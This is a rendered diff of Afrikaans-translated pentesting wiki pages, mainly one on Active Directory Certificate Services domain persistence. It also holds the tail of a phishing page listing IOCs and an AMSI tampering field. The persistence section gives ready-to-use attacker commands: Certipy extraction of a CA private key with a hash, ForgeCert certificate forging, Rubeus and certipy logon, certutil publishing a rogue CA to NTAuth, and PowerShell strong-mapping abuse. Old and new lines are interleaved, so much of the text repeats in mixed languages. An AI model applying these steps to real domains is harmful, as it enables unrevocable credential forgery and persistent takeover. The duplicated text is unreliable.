Persistensie in dieselfde ketting
- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herbegin. Sien besonderhede en kant-en-klare opdragte hier:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Opsporing/IOCs
- ZIP-lêers wat die ASCII-merkerstring (e.g., xFIQCV) bevat wat aan die argiefdata aangeheg is.
- .lnk wat ouer- en gebruiker-lêergidse deurloop om die ZIP te vind en 'n lokdokument oop te maak.
- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is.
- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak.
- AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Langdurige sake-drade wat eindig met skakels gehost op vertroude PaaS-domeine.
- Langlopende sake-threads wat eindig met skakels aangebied onder betroubare PaaS-domeine.
## Windows-lêers om NTLM-hashes te steel
Kyk na die bladsy oor **plekke om NTLM creds te steel**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Verwysings

View File

@ -1,27 +1,27 @@
# AD CS Domein Persistensie
# AD CS Domein-persistensie
{{#include ../../../banners/hacktricks-training.md}}
**Dit is 'n samevatting van die domein-persistensie tegnieke gedeel in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Kyk daarna vir verdere besonderhede.
**Hierdie is 'n samevatting van die domein-persistensie-tegnieke gedeel in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Raadpleeg dit vir verdere besonderhede.
## Verval van sertifikate met gesteelde CA-sertifikate - DPERSIST1
## Forging Certificates with Stolen CA Certificates - DPERSIST1
Hoe kan jy weet dat 'n sertifikaat 'n CA-sertifikaat is?
How can you tell that a certificate is a CA certificate?
Dit kan bepaal word dat 'n sertifikaat 'n CA-sertifikaat is as verskeie voorwaardes vervul word:
Dit kan bepaal word dat 'n sertifikaat 'n CA-sertifikaat is indien verskeie voorwaardes nagekom word:
- Die sertifikaat word op die CA-bediener gestoor, met sy private sleutel beveilig deur die masjien se DPAPI, of deur hardeware soos 'n TPM/HSM as die operasionele stelsel dit ondersteun.
- Beide die Issuer- en Subject-velde van die sertifikaat stem ooreen met die distinguished name van die CA.
- 'n "CA Version" uitbreiding kom slegs in CA-sertifikate voor.
- Die sertifikaat het geen Extended Key Usage (EKU)-velde nie.
- Die sertifikaat is op die CA-server gestoor, met sy privaat sleutel beveilig deur die masjien se DPAPI, of deur hardeware soos 'n TPM/HSM indien die bedryfstelsel dit ondersteun.
- Beide die Issuer en Subject velde van die sertifikaat stem ooreen met die distinguished name van die CA.
- 'n "CA Version" uitbreiding kom slegs in die CA-sertifikate voor.
- Die sertifikaat het nie Extended Key Usage (EKU)-velde nie.
Om die private sleutel van hierdie sertifikaat te onttrek, is die `certsrv.msc`-instrument op die CA-bediener die ondersteunde metode via die ingeboude GUI. Nietemin verskil hierdie sertifikaat nie van ander wat in die stelsel gestoor is nie; dus kan metodes soos die [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) toegepas word vir onttrekking.
Om die privaat sleutel van hierdie sertifikaat te onttrek, is die certsrv.msc-instrument op die CA-server die ondersteunde metode via die ingeboude GUI. Nietemin verskil hierdie sertifikaat nie van ander wat in die stelsel gestoor is nie; dus kan metodes soos die THEFT2 technique toegepas word vir onttrekking.
Die sertifikaat en private sleutel kan ook met Certipy verkry word met die volgende opdrag:
Die sertifikaat en privaat sleutel kan ook verkry word met Certipy met die volgende opdrag:
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
Sodra die CA-sertifikaat en sy private sleutel in `.pfx`-formaat verkry is, kan gereedskap soos [ForgeCert](https://github.com/GhostPack/ForgeCert) gebruik word om geldige sertifikate te genereer:
Sodra jy die CA-sertifikaat en sy privaat sleutel in `.pfx`-formaat bekom het, kan gereedskap soos [ForgeCert](https://github.com/GhostPack/ForgeCert) gebruik word om geldige sertifikate te genereer:
```bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
```
> [!WARNING]
> Die gebruiker wat geteiken word vir sertifikaatvervalsing moet aktief wees en in staat wees om in Active Directory te autentiseer sodat die proses kan slaag. Om 'n sertifikaat vir spesiale rekeninge soos krbtgt te vervals is ondoeltreffend.
> Die gebruiker wat geteiken word vir sertifikaatvervalsing moet aktief wees en in staat wees om in Active Directory te autentiseer sodat die proses kan slaag. Om 'n sertifikaat te vervals vir spesiale rekeninge soos krbtgt is ondoeltreffend.
Hierdie vervalste sertifikaat sal **geldig** wees tot die gespesifiseerde einddatum en so lank as wat die root CA-sertifikaat geldig is (gewoonlik van 5 tot **10+ jaar**). Dit is ook geldig vir **rekenaars**, so, gekombineer met **S4U2Self**, kan 'n aanvaller **persistence op enige domeinrekenaar handhaaf** vir so lank as wat die CA-sertifikaat geldig is.\
Verder kan die **sertifikate wat met hierdie metode gegenereer word** **nie herroep word nie**, aangesien die CA nie daarvan bewus is nie.
Hierdie vervalste sertifikaat sal **geldig** wees tot die gespesifiseerde einddatum en so **lank as wat die root CA sertifikaat geldig is** (gewoonlik 5 tot **10+ jaar**). Dit is ook geldig vir **masjiene**, dus gekombineer met **S4U2Self**, kan 'n aanvaller **persistentie op enige domeinmasjien handhaaf** so lank as wat die CA-sertifikaat geldig is.\
Boonop kan die **sertifikate wat met hierdie metode gegenereer word** **nie ingetrek word nie**, aangesien die CA nie daarvan bewus is nie.
### Werking onder Strong Certificate Mapping Enforcement (2025+)
### Werking onder sterk afdwinging van sertifikaatmappings (2025+)
Sedert 11 Februarie 2025 (na die uitrol van KB5014754), stel domeincontrollers standaard **Full Enforcement** in vir certificate mappings. Prakties beteken dit dat jou vervalste sertifikate óf:
Sinds 11 Februarie 2025 (na die uitrol van KB5014754), stel domeinkontroleerders standaard in op **Full Enforcement** vir sertifikaatmappings. In praktyk beteken dit jou vervalste sertifikate moet óf:
- Bevat 'n stewige binding aan die teikenrekening (byvoorbeeld die SID security extension), of
- Gepaart wees met 'n sterk, eksplisiete mapping op die teikenvoorwerp se `altSecurityIdentities` attribuut.
- Insluit 'n sterk binding aan die geteikende rekening (byvoorbeeld die SID security extension), of
- Gepaard wees met 'n sterk, eksplisiete mapping op die teikenvoorwerp se `altSecurityIdentities` attribuut.
'n Betroubare benadering vir persistence is om 'n vervalste sertifikaat te skep wat aan die gesteelde Enterprise CA gekoppel is en dan 'n sterk, eksplisiete mapping by die slagoffer principal te voeg:
'n Betroubare benadering vir persistentie is om 'n vervalste sertifikaat uit te reik wat gekoppel is aan die gesteelde Enterprise CA en dan 'n sterk, eksplisiete mapping by die slagoffer principal te voeg:
```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -57,16 +57,17 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Aantekeninge
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See [account-persistence](account-persistence.md) for more on explicit mappings.
- Intrekking help verdedigers hier nie: vervalste sertifikate is onbekend aan die CA-databasis en kan dus nie ingetrek word nie.
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
[account-persistence](account-persistence.md) for more on explicit mappings.
- Herroeping help verdedigers hier nie: vervalste sertifikate is onbekend aan die CA-database en kan dus nie herroep word nie.
## Vertroue in Rogue CA-sertifikate - DPERSIST2
## Vertrou Rogue CA Certificates - DPERSIST2
Die `NTAuthCertificates`-objek is bedoel om een of meer **CA-sertifikate** te bevat binne sy `cacertificate` attribuut, wat Active Directory (AD) gebruik. Die verifikasieproses deur die **domain controller** behels die kontrole van die `NTAuthCertificates`-objek vir 'n inskrywing wat ooreenstem met die **CA specified** in die Issuer field van die autentiserende **sertifikaat**. Outentisering gaan voort indien 'n ooreenkoms gevind word.
Die `NTAuthCertificates` object is gedefinieer om een of meer **CA certificates** te bevat in sy `cacertificate`-attribuut, wat Active Directory (AD) gebruik. Die verifikasiëproses deur die **domain controller** behels die kontrole van die `NTAuthCertificates` object vir 'n inskrywing wat ooreenstem met die **CA specified** in die Issuer-veld van die autentiserende **certificate**. Autentisering gaan voort as 'n ooreenstemming gevind word.
'n Self-signed CA-sertifikaat kan by die `NTAuthCertificates`-objek gevoeg word deur 'n aanvaller, mits hulle beheer oor hierdie AD-objek het. Gewoonlik is dit net lede van die **Enterprise Admin** group, saam met **Domain Admins** of **Administrators** in die **forest roots domain**, wat toestemming het om hierdie objek te wysig. Hulle kan die `NTAuthCertificates`-objek redigeer met `certutil.exe` met die opdrag `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, of deur die [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) te gebruik.
'N self-ondertekende CA-sertifikaat kan by die `NTAuthCertificates`-object gevoeg word deur 'n aanvaller, mits hulle beheer oor hierdie AD-voorwerp het. Gewoonlik is dit slegs lede van die **Enterprise Admin** groep, tesame met **Domain Admins** of **Administrators** in die **forest roots domain**, wat toestemming het om hierdie voorwerp te wysig. Hulle kan die `NTAuthCertificates` object wysig met `certutil.exe` deur die opdrag `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` te gebruik, of deur die [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) te gebruik.
Bykomende nuttige opdragte vir hierdie tegniek:
Addisionele nuttige opdragte vir hierdie tegniek:
```bash
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
@ -77,32 +78,32 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
```
Hierdie vermoë is veral relevant wanneer dit in samewerking met 'n vroeër uiteengesette metode gebruik word wat ForgeCert behels om sertifikate dinamies te genereer.
Hierdie vermoë is veral relevant wanneer dit saam met 'n vooraf uiteengesette metode gebruik word wat ForgeCert insluit om sertifikate dinamies te genereer.
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
## Kwaadaardige Verkeerde Konfigurasie - DPERSIST3
## Malicious Misconfiguration - DPERSIST3
Geleenthede vir **persistence** deur **security descriptor modifications of AD CS** komponente is volop. Wysigings beskryf in die "[Domain Escalation](domain-escalation.md)" afdeling kan kwaadwillig deur 'n aanvaller met verhewe toegang geïmplementeer word. Dit sluit die toevoeging van "control rights" (bv. WriteOwner/WriteDACL/etc.) by sensitiewe komponente in soos:
Geleenthede vir **persistence** deur **security descriptor**-wysigings van AD CS-komponente is volop. Wysigings wat in die "[Domain Escalation](domain-escalation.md)" afdeling beskryf word, kan kwaadwillig deur 'n aanvaller met verhoogde toegang geïmplementeer word. Dit sluit die toevoeging van "control rights" (bv. WriteOwner/WriteDACL/etc.) by sensitiewe komponente in, soos:
- Die **CA-bediener se AD-computer** objek
- Die **CA-bediener se RPC/DCOM-server**
- Enige **afstammeling AD-voorwerp of houer** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (byvoorbeeld, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
- AD-groepe wat standaard of deur die organisasie regte gedelegeer kry om AD CS te beheer (soos die ingeboude Cert Publishers-groep en enige van sy lede)
- Die **CA servers AD computer** object
- Die **CA servers RPC/DCOM server**
- Enige **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (byvoorbeeld, die Certificate Templates container, Certification Authorities container, die NTAuthCertificates object, ens.)
- **AD groups delegated rights to control AD CS** standaard of deur die organisasie (soos die ingeboude Cert Publishers group en enige van sy lede)
'n Voorbeeld van 'n kwaadwillige implementering sou behels dat 'n aanvaller met verhewe permissies in die domein die `WriteOwner`-permit by die standaard `User` certificate template voeg, met die aanvaller as die prinsipaal vir die reg. Om dit te eksploiteer, sou die aanvaller eers die eienaarskap van die `User`-template aan homself verander. Daarna sou die `mspki-certificate-name-flag` op die template op `1` gestel word om `ENROLLEE_SUPPLIES_SUBJECT` moontlik te maak, wat 'n gebruiker toelaat om 'n Subject Alternative Name in die versoek te verskaf. Vervolgens kan die aanvaller `enroll` met behulp van die `template`, 'n `domain administrator`-naam as 'n alternatiewe naam kies, en die verkrygde sertifikaat gebruik vir verifikasie as die DA.
'n Voorbeeld van 'n kwaadwillige implementering sou behels dat 'n aanvaller, wat **elevated permissions** in die domein het, die **`WriteOwner`**-permit by die verstek **`User`**-sertifikaatsjabloon voeg, met die aanvaller as die principal vir daardie reg. Om dit uit te buit, sou die aanvaller eers die eienaarskap van die **`User`**-sjabloon na homself verander. Daarna sou die **`mspki-certificate-name-flag`** op **1** op die sjabloon gestel word om **`ENROLLEE_SUPPLIES_SUBJECT`** te aktiveer, wat 'n gebruiker toelaat om 'n Subject Alternative Name in die versoek te voorsien. Vervolgens kan die aanvaller die **template** **enroll** deur 'n **domain administrator**-naam as 'n alternatiewe naam te kies, en die verkrygde sertifikaat gebruik vir authenticatie as die DA.
Praktiese instellings wat aanvallers kan stel vir langtermyn domain persistence (sien {{#ref}}domain-escalation.md{{#endref}} vir volledige besonderhede en opsporing):
Praktiese instellings wat aanvallers mag stel vir langdurige domein persistence (sien {{#ref}}domain-escalation.md{{#endref}} vir volle besonderhede en opsporing):
- CA policy flags that allow SAN from requesters (bv. die inskakeling van `EDITF_ATTRIBUTESUBJECTALTNAME2`). Dit hou ESC1-agtige paaie uitbuitbaar.
- Template DACL of instellings wat uitreiking wat vir authentication geskik is toelaat (bv. byvoeging van Client Authentication EKU, inskakeling van `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Beheer oor die `NTAuthCertificates`-voorwerp of die CA-kontainers om rogue issuers aanhoudend te herintroduseer as verdedigers skoonmaak probeer.
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
> [!TIP]
> In gehardingsomgewings na KB5014754, die koppel van hierdie wankonfigurasies met eksplisiete sterk mappings (`altSecurityIdentities`) verseker dat jou uitgereikte of vervalste sertifikate bruikbaar bly selfs wanneer DCs sterk mapping afdwing.
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
## References
- Microsoft KB5014754 Veranderinge aan sertifikaat-gebaseerde verifikasie op Windows domain controllers (afdwingings-tydlyn en sterk mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}